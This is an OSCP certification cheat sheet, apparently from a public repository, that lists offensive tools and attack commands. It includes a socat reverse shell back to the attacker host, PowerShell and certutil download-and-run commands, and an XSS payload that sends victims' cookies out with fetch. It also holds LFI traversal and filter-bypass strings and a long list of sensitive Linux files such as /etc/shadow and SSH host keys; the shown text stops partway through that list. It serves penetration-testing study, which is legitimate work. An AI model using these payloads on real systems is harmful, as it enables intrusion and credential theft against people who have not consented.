OSCP Cheat Sheet
Commands, Payloads and Resources for the OffSec Certified Professional Certification (OSCP).
Since this little project get's more and more attention, I decided to update it as often as possible to focus more helpful and absolutely necessary commands for the exam. Feel free to submit a pull request or reach out to me on Twitter for suggestions.
Every help or hint is appreciated!
DISCLAIMER: A guy on Twitter got a point. Automatic exploitation tools like sqlmap are prohibited to use in the exam. The same goes for the automatic exploitation functionality of LinPEAS. I am not keeping track of current guidelines related to those tools. For that I want to point out that I am not responsible if anybody uses a tool without double checking the latest exam restrictions and fails the exam. Inform yourself before taking the exam!
I removed sqlmap because of the reasons above but Metasploit is still part of the guide because you can use it for one specific module. Thank you Muztahidul Tanim for making me aware and to Yeeb for the resources.
Here are the link to the OSCP Exam Guide and the discussion about LinPEAS. I hope this helps.
Table of Contents
- Basics
- Information Gathering
- Vulnerability Analysis
- Web Application Analysis
- Password Attacks
- Reverse Engineering
- Exploitation Tools
- Post Exploitation
- Exploit Databases
- CVEs
- Payloads
- Wordlists
- Social Media Resources
- Commands
- Basics
- Information Gathering
- Web Application Analysis
- Burp Suite
- Cross-Site Scripting (XSS)
- ffuf
- Gobuster
- GitTools
- Local File Inclusion (LFI)
- PDF PHP Inclusion
- PHP Upload Filter Bypasses
- PHP Filter Chain Generator
- PHP Generic Gadget Chains (PHPGGC)
- Server-Side Request Forgery (SSRF)
- Server-Side Template Injection (SSTI)
- Upload Vulnerabilities
- wfuzz
- WPScan
- XML External Entity (XXE)
- Database Analysis
- Password Attacks
- Exploitation Tools
- Post Exploitation
- CVE
- CVE-2014-6271: Shellshock RCE PoC
- CVE-2016-1531: exim LPE
- CVE-2019-14287: Sudo Bypass
- CVE-2020-1472: ZeroLogon PE
- CVE-2021–3156: Sudo / sudoedit LPE
- CVE-2021-44228: Log4Shell RCE (0-day)
- CVE-2022-0847: Dirty Pipe LPE
- CVE-2022-22963: Spring4Shell RCE (0-day)
- CVE-2022-30190: MS-MSDT Follina RCE
- CVE-2022-31214: Firejail LPE
- CVE-2023-21746: Windows NTLM EoP LocalPotato LPE
- CVE-2023-22809: Sudo Bypass
- CVE-2023-23397: Microsoft Outlook (Click-to-Run) PE (0-day) (PowerShell Implementation)
- CVE-2023-32629, CVE-2023-2640: GameOverlay Ubuntu Kernel Exploit LPE (0-day)
- Juicy Potato LPE
- MySQL 4.x/5.0 User-Defined Function (UDF) Dynamic Library (2) LPE
- SharpEfsPotato LPE
- Shocker Container Escape
- Payloads
- Templates
Basics
| Name | URL |
|---|---|
| Chisel | https://github.com/jpillora/chisel |
| CyberChef | https://gchq.github.io/CyberChef |
| Swaks | https://github.com/jetmore/swaks |
Information Gathering
| Name | URL |
|---|---|
| Nmap | https://github.com/nmap/nmap |
Vulnerability Analysis
| Name | URL |
|---|---|
| nikto | https://github.com/sullo/nikto |
| Sparta | https://github.com/SECFORCE/sparta |
Web Application Analysis
| Name | URL |
|---|---|
| ffuf | https://github.com/ffuf/ffuf |
| fpmvuln | https://github.com/hannob/fpmvuln |
| Gobuster | https://github.com/OJ/gobuster |
| httpx | https://github.com/projectdiscovery/httpx |
| JSON Web Tokens | https://jwt.io |
| JWT_Tool | https://github.com/ticarpi/jwt_tool |
| Leaky Paths | https://github.com/ayoubfathi/leaky-paths |
| PayloadsAllTheThings | https://github.com/swisskyrepo/PayloadsAllTheThings |
| PHP Filter Chain Generator | https://github.com/synacktiv/php_filter_chain_generator |
| PHPGGC | https://github.com/ambionics/phpggc |
| SSRF testing resources | https://github.com/cujanovic/SSRF-Testing |
| Weird Proxies | https://github.com/GrrrDog/weird_proxies |
| Wfuzz | https://github.com/xmendez/wfuzz |
| WhatWeb | https://github.com/urbanadventurer/WhatWeb |
| WPScan | https://github.com/wpscanteam/wpscan |
| ysoserial | https://github.com/frohoff/ysoserial |
Password Attacks
| Name | URL |
|---|---|
| CrackMapExec | https://github.com/mpgn/CrackMapExec |
| Default Credentials Cheat Sheet | https://github.com/ihebski/DefaultCreds-cheat-sheet |
| Firefox Decrypt | https://github.com/unode/firefox_decrypt |
| hashcat | https://hashcat.net/hashcat |
| Hydra | https://github.com/vanhauser-thc/thc-hydra |
| John | https://github.com/openwall/john |
| keepass-dump-masterkey | https://github.com/CMEPW/keepass-dump-masterkey |
| KeePwn | https://github.com/Orange-Cyberdefense/KeePwn |
| Kerbrute | https://github.com/ropnop/kerbrute |
| LaZagne | https://github.com/AlessandroZ/LaZagne |
| mimikatz | https://github.com/gentilkiwi/mimikatz |
| Patator | https://github.com/lanjelot/patator |
| pypykatz | https://github.com/skelsec/pypykatz |
| RsaCtfTool | https://github.com/Ganapati/RsaCtfTool |
| SprayingToolkit | https://github.com/byt3bl33d3r/SprayingToolkit |
Reverse Engineering
| Name | URL |
|---|---|
| AvalonialLSpy | https://github.com/icsharpcode/AvaloniaILSpy |
| binwalk | https://github.com/ReFirmLabs/binwalk |
| cutter | https://github.com/rizinorg/cutter |
| dnSpy | https://github.com/dnSpy/dnSpy |
| GEF | https://github.com/hugsy/gef |
| ghidra | https://github.com/NationalSecurityAgency/ghidra |
| ImHex | https://github.com/WerWolv/ImHex |
| JD-GUI | https://github.com/java-decompiler/jd-gui |
| peda | https://github.com/longld/peda |
| pwndbg | https://github.com/pwndbg/pwndbg |
| Radare2 | https://github.com/radareorg/radare2 |
Exploitation Tools
| Name | URL |
|---|---|
| Evil-WinRM | https://github.com/Hackplayers/evil-winrm |
| ImageTragick | https://imagetragick.com |
| Metasploit | https://github.com/rapid7/metasploit-framework |
| MSL / Polyglot Attack | https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html |
Post Exploitation
Exploit Databases
| Database | URL |
|---|---|
| 0day.today Exploit Database | https://0day.today |
| Exploit Database | https://www.exploit-db.com |
| Packet Storm | https://packetstormsecurity.com |
| Sploitus | https://sploitus.com |
CVEs
Payloads
Wordlists
| Name | URL |
|---|---|
| bopscrk | https://github.com/R3nt0n/bopscrk |
| CeWL | https://github.com/digininja/cewl |
| COOK | https://github.com/giteshnxtlvl/cook |
| CUPP | https://github.com/Mebus/cupp |
| Kerberos Username Enumeration | https://github.com/attackdebris/kerberos_enum_userlists |
| SecLists | https://github.com/danielmiessler/SecLists |
Social Media Resources
| Name | URL |
|---|---|
| IppSec (YouTube) | https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA |
| IppSec.rocks | https://ippsec.rocks/?# |
| 0xdf | https://0xdf.gitlab.io/ |
| HackTricks | https://book.hacktricks.xyz/ |
| Hacking Articles | https://www.hackingarticles.in/ |
| Rana Khalil | https://rana-khalil.gitbook.io/hack-the-box-oscp-preparation/ |
Commands
Basics
curl
curl -v http://<RHOST>
curl -k <RHOST>
curl -X POST http://<RHOST>
curl -I POST http://<RHOST>
curl -X PUT http://<RHOST>
curl -vvv <RHOST>
curl --head http://<RHOST>/
curl --proxy http://127.0.0.1:8080
curl -X POST http://<RHOST>/select --data 'db=whatever|id'
curl --path-as-is http://<RHOST>/../../../../../../etc/passwd
curl -s "http://<RHOST>/reports.php?report=2589" | grep Do -A8 | html2textChisel
Reverse Pivot
./chisel server -p 9002 -reverse -v
./chisel client <RHOST>:9002 R:9003:127.0.0.1:8888SOCKS5 / Proxychains Configuration
./chisel server -p 9002 -reverse -v
./chisel client <RHOST>:9002 R:socksFile Transfer
Certutil
certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>Netcat
nc -lnvp <LPORT> < <FILE>
nc <RHOST> <RPORT> > <FILE>Impacket
sudo python3 impacket/examples/smbserver.py <SHARE> ./
sudo impacket-smbserver <SHARE> . -smb2support
copy * \\<LHOST>\<SHARE>PowerShell
iwr <LHOST>/<FILE> -o <FILE>
IEX(IWR http://<LHOST>/<FILE>) -UseBasicParsing)
powershell -command Invoke-WebRequest -Uri http://<LHOST>:<LPORT>/<FILE> -Outfile C:\\temp\\<FILE>Bash only
wget version
Paste directly to the shell.
function __wget() {
: ${DEBUG:=0}
local URL=$1
local tag="Connection: close"
local mark=0
if [ -z "${URL}" ]; then
printf "Usage: %s \"URL\" [e.g.: %s http://www.google.com/]" \
"${FUNCNAME[0]}" "${FUNCNAME[0]}"
return 1;
fi
read proto server path <<<$(echo ${URL//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
[[ $DEBUG -eq 1 ]] && echo "HOST=$HOST"
[[ $DEBUG -eq 1 ]] && echo "PORT=$PORT"
[[ $DEBUG -eq 1 ]] && echo "DOC =$DOC"
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.1\r\nHost: ${HOST}\r\n${tag}\r\n\r\n" >&3
while read line; do
[[ $mark -eq 1 ]] && echo $line
if [[ "${line}" =~ "${tag}" ]]; then
mark=1
fi
done <&3
exec 3>&-
}__wget http://<LHOST>/<FILE>curl version
function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}__curl http://<LHOST>/<FILE> > <OUTPUT_FILE>FTP
ftp <RHOST>
wget -r ftp://anonymous:anonymous@<RHOST>Kerberos
sudo apt-get install krb5-kdc/etc/krb5.conf // kerberos configuration file location
kinit <USERNAME> // creating ticket request
klist // show available kerberos tickets
kdestroy // delete cached kerberos tickets
.k5login // resides kerberos principals for login (place in home directory)
krb5.keytab // "key table" file for one or more principals
kadmin // kerberos administration console
add_principal <EMAIL> // add a new user to a keytab file
ksu // executes a command with kerberos authentication
klist -k /etc/krb5.keytab // lists keytab file
kadmin -p kadmin/<EMAIL> -k -t /etc/krb5.keytab // enables editing of the keytab fileLigolo-ng
Download Proxy and Agent
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gzPrepare Tunnel Interface
sudo ip tuntap add user $(whoami) mode tun ligolosudo ip link set ligolo upSetup Proxy on Attacker Machine
./proxy -laddr <LHOST>:443 -selfcertSetup Agent on Target Machine
./agent -connect <LHOST>:443 -ignore-certSession
ligolo-ng » session[Agent : user@target] » ifconfigsudo ip r add 172.16.1.0/24 dev ligolo[Agent : user@target] » startLinux
CentOS
doas -u <USERNAME> /bin/shEnvironment Variables
export PATH=`pwd`:$PATHgcc
gcc (--static) -m32 -Wl,--hash-style=both exploit.c -o exploit
i686-w64-mingw32-gcc -o main32.exe main.c
x86_64-w64-mingw32-gcc -o main64.exe main.cgetfacl
getfacl <LOCAL_DIRECTORY>iconv
echo "<COMMAND>" | iconv -t UTF-16LE | base64 -w 0
echo "<COMMAND>" | iconv -f UTF-8 -t UTF-16LE | base64 -w0
iconv -f ASCII -t UTF-16LE <FILE>.txt | base64 | tr -d "\n"vi
:w !sudo tee % # save file with elevated privileges without exitingWindows Command Formatting
echo "<COMMAND>" | iconv -f UTF-8 -t UTF-16LE | base64 -w0Microsoft Windows
dir
dir flag* /s /p
dir /s /b *.logPHP Webserver
sudo php -S 127.0.0.1:80Ping
ping -c 1 <RHOST>
ping -n 1 <RHOST>Python Webserver
sudo python -m SimpleHTTPServer 80
sudo python3 -m http.server 80RDP
xfreerdp /v:<RHOST> /u:<USERNAME> /p:<PASSWORD> /dynamic-resolution +clipboard
xfreerdp /v:<RHOST> /u:<USERNAME> /d:<DOMAIN> /pth:'<HASH>' /dynamic-resolution +clipboard
rdesktop <RHOST>showmount
/usr/sbin/showmount -e <RHOST>
sudo showmount -e <RHOST>
chown root:root sid-shell; chmod +s sid-shellsmbclient
smbclient -L \\<RHOST>\ -N
smbclient -L //<RHOST>/ -N
smbclient -L ////<RHOST>/ -N
smbclient -U "<USERNAME>" -L \\\\<RHOST>\\
smbclient -L //<RHOST>// -U <USERNAME>%<PASSWORD>
smbclient //<RHOST>/SYSVOL -U <USERNAME>%<PASSWORD>
smbclient "\\\\<RHOST>\<SHARE>"
smbclient \\\\<RHOST>\\<SHARE> -U '<USERNAME>' --socket-options='TCP_NODELAY IPTOS_LOWDELAY SO_KEEPALIVE SO_RCVBUF=131072 SO_SNDBUF=131072' -t 40000
smbclient --no-pass //<RHOST>/<SHARE>
mount.cifs //<RHOST>/<SHARE> /mnt/remote
guestmount --add '/<MOUNTPOINT>/<DIRECTORY/FILE>' --inspector --ro /mnt/<MOUNT> -vDownload multiple files at once
mask""
recurse ON
prompt OFF
mget *socat
socat TCP-LISTEN:<LPORT>,fork TCP:<RHOST>:<RPORT>socat file:`tty`,raw,echo=0 tcp-listen:<LPORT>
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<LHOST>:<LPORT>socat tcp-listen:5986,reuseaddr,fork tcp:<RHOST>:9002
socat tcp-listen:9002,reuseaddr,fork tcp:192.168.122.228:5968 &SSH
ssh user@<RHOST> -oKexAlgorithms=+diffie-hellman-group1-sha1
ssh -R 8080:<LHOST>:80 <RHOST>
ssh -L 8000:127.0.0.1:8000 <USERNAME>@<RHOST>
ssh -N -L 1234:127.0.0.1:1234 <USERNAME>@<RHOST>
ssh -L 80:<LHOST>:80 <RHOST>
ssh -L 127.0.0.1:80:<LHOST>:80 <RHOST>
ssh -L 80:localhost:80 <RHOST>Time and Date
Get the Server Time
sudo nmap -sU -p 123 --script ntp-info <RHOST>Stop virtualbox-guest-utils to stop syncing Time
sudo /etc/init.d/virtualbox-guest-utils stopStop systemd-timesyncd to sync Time manually
sudo systemctl stop systemd-timesyncdDisable automatic Sync
sudo systemctl disable --now chronydOptions to set the Date and Time
sudo net time -c <RHOST>
sudo net time set -S <RHOST>
sudo ntpdate -s <RHOST>
sudo ntpdate -b -u <RHOST>
sudo timedatectl set-timezone UTC
sudo timedatectl list-timezones
sudo timedatectl set-timezone '<COUNTRY>/<CITY>'
sudo timedatectl set-time 15:58:30
sudo timedatectl set-time '2015-11-20 16:14:50'
sudo timedatectl set-local-rtc 1Keep in Sync with a Server
while [ 1 ]; do sudo ntpdate <RHOST>;doneTmux
ctrl b + w # show windows
ctrl + " # split window horizontal
ctrl + % # split window vertical
ctrl + , # rename window
ctrl + { # flip window
ctrl + } # flip window
ctrl + spacebar # switch pane layoutCopy & Paste
:setw -g mode-keys vi
ctrl b + [
space
enter
ctrl b + ]Search
ctrl b + [ # enter copy
ctrl + / # enter search while within copy mode for vi mode
n # search next
shift + n # reverse searchLogging
ctrl b
shift + P # start / stopSave Output
ctrl b + :
capture-pane -S -
ctrl b + :
save-buffer <FILE>.txtUpgrading Shells
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
ctrl + z
stty raw -echo
fg
Enter
Enter
export XTERM=xtermAlternatively:
script -q /dev/null -c bash
/usr/bin/script -qc /bin/bash /dev/nullOneliner
stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;Fixing Staircase Effect
env resetor
stty onlcrVirtualBox
sudo pkill VBoxClient && VBoxClient --clipboardvirtualenv
sudo apt-get install virtualenv
virtualenv -p python2.7 venv
. venv/bin/activatepython.exe -m pip install virtualenv
python.exe -m virtualenv venv
venv\Scripts\activateInformation Gathering
memcached
memcrashed / 11211/UDP
npm install -g memcached-cli
memcached-cli <USERNAME>:<PASSWORD>@<RHOST>:11211
echo -en "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" | nc -q1 -u 127.0.0.1 11211
STAT pid 21357
STAT uptime 41557034
STAT time 1519734962
sudo nmap <RHOST> -p 11211 -sU -sS --script memcached-info
stats items
stats cachedump 1 0
get link
get file
get user
get passwd
get account
get username
get passwordNetBIOS
nbtscan <RHOST>
nmblookup -A <RHOST>Nmap
sudo nmap -A -T4 -sC -sV -p- <RHOST>
sudo nmap -sV -sU <RHOST>
sudo nmap -A -T4 -sC -sV --script vuln <RHOST>
sudo nmap -A -T4 -p- -sS -sV -oN initial --script discovery <RHOST>
sudo nmap -sC -sV -p- --scan-delay 5s <RHOST>
sudo nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test' <RHOST>
ls -lh /usr/share/nmap/scripts/*ssh*
locate -r '\.nse$' | xargs grep categories | grep categories | grep 'default\|version\|safe' | grep smbPort Scanning
for p in {1..65535}; do nc -vn <RHOST> $p -w 1 -z & done 2> <FILE>.txtexport ip=<RHOST>; for port in $(seq 1 65535); do timeout 0.01 bash -c "</dev/tcp/$ip/$port && echo The port $port is open || echo The Port $port is closed > /dev/null" 2>/dev/null || echo Connection Timeout > /dev/null; donesnmpwalk
snmpwalk -c public -v1 <RHOST>
snmpwalk -v2c -c public <RHOST> 1.3.6.1.2.1.4.34.1.3
snmpwalk -v2c -c public <RHOST> .1
snmpwalk -v2c -c public <RHOST> nsExtendObjects
snmpwalk -c public -v1 <RHOST> 1.3.6.1.4.1.77.1.2.25
snmpwalk -c public -v1 <RHOST> 1.3.6.1.2.1.25.4.2.1.2
snmpwalk -c public -v1 <RHOST> .1.3.6.1.2.1.1.5
snmpwalk -c public -v1 <RHOST> 1.3.6.1.4.1.77.1.2.3.1.1
snmpwalk -c public -v1 <RHOST> 1.3.6.1.4.1.77.1.2.27
snmpwalk -c public -v1 <RHOST> 1.3.6.1.2.1.6.13.1.3
snmpwalk -c public -v1 <RHOST> 1.3.6.1.2.1.25.6.3.1.2Web Application Analysis
Burp Suite
Ctrl+r // Sending request to repeater
Ctrl+i // Sending request to intruder
Ctrl+Shift+b // base64 encoding
Ctrl+Shift+u // URL decodingSet Proxy Environment Variables
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=https://localhost:8080Cross-Site Scripting (XSS)
<sCrIpt>alert(1)</ScRipt>
<script>alert('XSS');</script>
<script>alert(document.cookies)</script>
<script>document.querySelector('#foobar-title').textContent = '<TEXT>'</script>
<script>fetch('https://<RHOST>/steal?cookie=' + btoa(document.cookie));</script>
<script>user.changeEmail('user@domain');</script>
<iframe src=file:///etc/passwd height=1000px width=1000px></iframe>
<img src='http://<RHOST>'/>ffuf
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<RHOST>/FUZZ --fs <NUMBER> -mc all
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<RHOST>/FUZZ --fw <NUMBER> -mc all
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<RHOST>/FUZZ -mc 200,204,301,302,307,401 -o results.txt
ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://<RHOST>/ -H "Host: FUZZ.<RHOST>" -fs 185
ffuf -c -w /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt -u http://<RHOST>/backups/backup_2020070416FUZZ.zipAPI Fuzzing
ffuf -u https://<RHOST>/api/v2/FUZZ -w api_seen_in_wild.txt -c -ac -t 250 -fc 400,404,412Searching for LFI
ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u http://<RHOST>/admin../admin_staging/index.php?page=FUZZ -fs 15349Fuzzing with PHP Session ID
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt -u "http://<RHOST>/admin/FUZZ.php" -b "PHPSESSID=a0mjo6ukbkq271nb2rkb1joamp" -fw 2644Recursion
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://<RHOST>/cd/basic/FUZZ -recursionFile Extensions
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://<RHOST>/cd/ext/logs/FUZZ -e .logRate Limiting
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 5 -p 0.1 -u http://<RHOST>/cd/rate/FUZZ -mc 200,429Virtual Host Discovery
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.<RHOST>" -u http://<RHOST> -fs 1495Massive File Extension Discovery
ffuf -w /opt/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://<RHOST>/FUZZ -t 30 -c -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -mc 200,204,301,302,307,401,403,500 -ic -e .7z,.action,.ashx,.asp,.aspx,.backup,.bak,.bz,.c,.cgi,.conf,.config,.dat,.db,.dhtml,.do,.doc,.docm,.docx,.dot,.dotm,.go,.htm,.html,.ini,.jar,.java,.js,.js.map,.json,.jsp,.jsp.source,.jspx,.jsx,.log,.old,.pdb,.pdf,.phtm,.phtml,.pl,.py,.pyc,.pyz,.rar,.rhtml,.shtm,.shtml,.sql,.sqlite3,.svc,.tar,.tar.bz2,.tar.gz,.tsx,.txt,.wsdl,.xhtm,.xhtml,.xls,.xlsm,.xlst,.xlsx,.xltm,.xml,.zipGitTools
./gitdumper.sh http://<RHOST>/.git/ /PATH/TO/FOLDER
./extractor.sh /PATH/TO/FOLDER/ /PATH/TO/FOLDER/Gobuster
-e // extended mode that renders the full url
-k // skip ssl certificate validation
-r // follow cedirects
-s // status codes
-b // exclude status codes
-k // ignore certificates
--wildcard // set wildcard option
$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://<RHOST>/
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://<RHOST>/ -x php
$ gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://<RHOST>/ -x php,txt,html,js -e -s 200
$ gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u https://<RHOST>:<RPORT>/ -b 200 -k --wildcardCommon File Extensions
txt,bak,php,html,js,asp,aspxCommon Picture Extensions
png,jpg,jpeg,gif,bmpPOST Requests
gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://<RHOST>/api/ -e -s 200DNS Recon
gobuster dns -d <RHOST> -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
gobuster dns -d <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txtVHost Discovery
gobuster vhost -u <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
gobuster vhost -u <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domainSpecifiy User Agent
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://<RHOST>/ -a LinuxLocal File Inclusion (LFI)
http://<RHOST>/<FILE>.php?file=
http://<RHOST>/<FILE>.php?file=../../../../../../../../etc/passwd
http://<RHOST>/<FILE>/php?file=../../../../../../../../../../etc/passwdUntil php 5.3
http://<RHOST>/<FILE>/php?file=../../../../../../../../../../etc/passwd%00Null Byte
%00
0x00Encoded Traversal Strings
../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
..././
...\.\php://filter Wrapper
https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phpfilter
url=php://filter/convert.base64-encode/resource=file:////var/www/<RHOST>/api.phphttp://<RHOST>/index.php?page=php://filter/convert.base64-encode/resource=index
http://<RHOST>/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd
base64 -d <FILE>.phpDjango, Rails, or Node.js Web Application Header Values
Accept: ../../../../.././../../../../etc/passwd{{
Accept: ../../../../.././../../../../etc/passwd{%0D
Accept: ../../../../.././../../../../etc/passwd{%0A
Accept: ../../../../.././../../../../etc/passwd{%00
Accept: ../../../../.././../../../../etc/passwd{%0D{{
Accept: ../../../../.././../../../../etc/passwd{%0A{{
Accept: ../../../../.././../../../../etc/passwd{%00{{Linux Files
/etc/passwd
/etc/shadow
/etc/aliases
/etc/anacrontab
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/etc/apache2/sites-enabled/000-default.conf
/etc/at.allow
/etc/at.deny
/etc/bashrc
/etc/bootptab
/etc/chrootUsers
/etc/chttp.conf
/etc/cron.allow
/etc/cron.deny
/etc/crontab
/etc/cups/cupsd.conf
/etc/exports
/etc/fstab
/etc/ftpaccess
/etc/ftpchroot
/etc/ftphosts
/etc/groups
/etc/grub.conf
/etc/hosts
/etc/hosts.allow
/etc/hosts.deny
/etc/httpd/access.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/httpd.conf
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/php.ini
/etc/httpd/srm.conf
/etc/inetd.conf
/etc/inittab
/etc/issue
/etc/knockd.conf
/etc/lighttpd.conf
/etc/lilo.conf
/etc/logrotate.d/ftp
/etc/logrotate.d/proftpd
/etc/logrotate.d/vsftpd.log
/etc/lsb-release
/etc/motd
/etc/modules.conf
/etc/motd
/etc/mtab
/etc/my.cnf
/etc/my.conf
/etc/mysql/my.cnf
/etc/network/interfaces
/etc/networks
/etc/npasswd
/etc/passwd
/etc/php4.4/fcgi/php.ini
/etc/php4/apache2/php.ini
/etc/php4/apache/php.ini
/etc/php4/cgi/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/apache/php.ini
/etc/php/cgi/php.ini
/etc/php.ini
/etc/php/php4/php.ini
/etc/php/php.ini
/etc/printcap
/etc/profile
/etc/proftp.conf
/etc/proftpd/proftpd.conf
/etc/pure-ftpd.conf
/etc/pureftpd.passwd
/etc/pureftpd.pdb
/etc/pure-ftpd/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pure-ftpd/putreftpd.pdb
/etc/redhat-release
/etc/resolv.conf
/etc/samba/smb.conf
/etc/snmpd.conf
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key.pub
/etc/sysconfig/network
/etc/syslog.conf
/etc/termcap
/etc/vhcs2/proftpd/proftpd.conf
/etc/vsftpd.chroot_list
/etc/vsftpd.conf
/etc/vsftpd/vsftpd.conf
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers
/logs/pure-ftpd.log
/logs/security_debug_log
/logs/security_log
/opt/lampp/etc/httpd.conf
/opt/xampp/etc/php.ini
/proc/cmdline
/proc/cpuinfo
/proc/filesystems
/proc/interrupts
/proc/ioports
/proc/meminfo
/proc/modules
/proc/mounts
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/<PID>/cmdline
/proc/<PID>/maps
/proc/sched_debug
/proc/self/cwd/app.py
/proc/self/environ
/proc/self/net/arp
/proc/stat
/proc/swaps
/proc/version
/root/anaconda-ks.cfg
/usr/etc/pure-ftpd.conf
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/apache/conf/modsec.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/usr/local/apache/audit_log
/usr/local/apache/error_log
/usr/local/apache/error.log
/usr/local/cpanel/logs
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/etc/php.ini
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/lib/php.ini
/usr/local/php4/httpd.conf
/usr/local/php4/httpd.conf.php
/usr/local/php4/lib/php.ini
/usr/local/php5/httpd.conf
/usr/local/php5/httpd.conf.php
/usr/local/php5/lib/php.ini
/usr/local/php/httpd.conf
/usr/local/php/httpd.conf.ini
/usr/local/php/lib/php.ini
/usr/local/pureftpd/etc/pure-ftpd.conf
/usr/local/pureftpd/etc/pureftpd.pdn
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/www/logs/httpd_log
/usr/local/Zend/etc/php.ini
/usr/sbin/pure-config.pl
/var/adm/log/xferlog
/var/apache2/config.inc
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/cpanel/cpanel.config
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/var/local/www/conf/php.ini
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/auth.log
/var/log/boot
/var/htmp
/var/log/chttp.log
/var/log/cups/error.log
/var/log/daemon.log
/var/log/debug
/var/log/dmesg
/var/log/dpkg.log
/var/log/exim_mainlog
/var/log/exim/mainlog
/var/log/exim_paniclog
/var/log/exim.paniclog
/var/log/exim_rejectlog
/var/log/exim/rejectlog
/var/log/faillog
/var/log/ftplog
/var/log/ftp-proxy
/var/log/ftp-proxy/ftp-proxy.log
/var/log/httpd-access.log
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/log/httpd/error_log
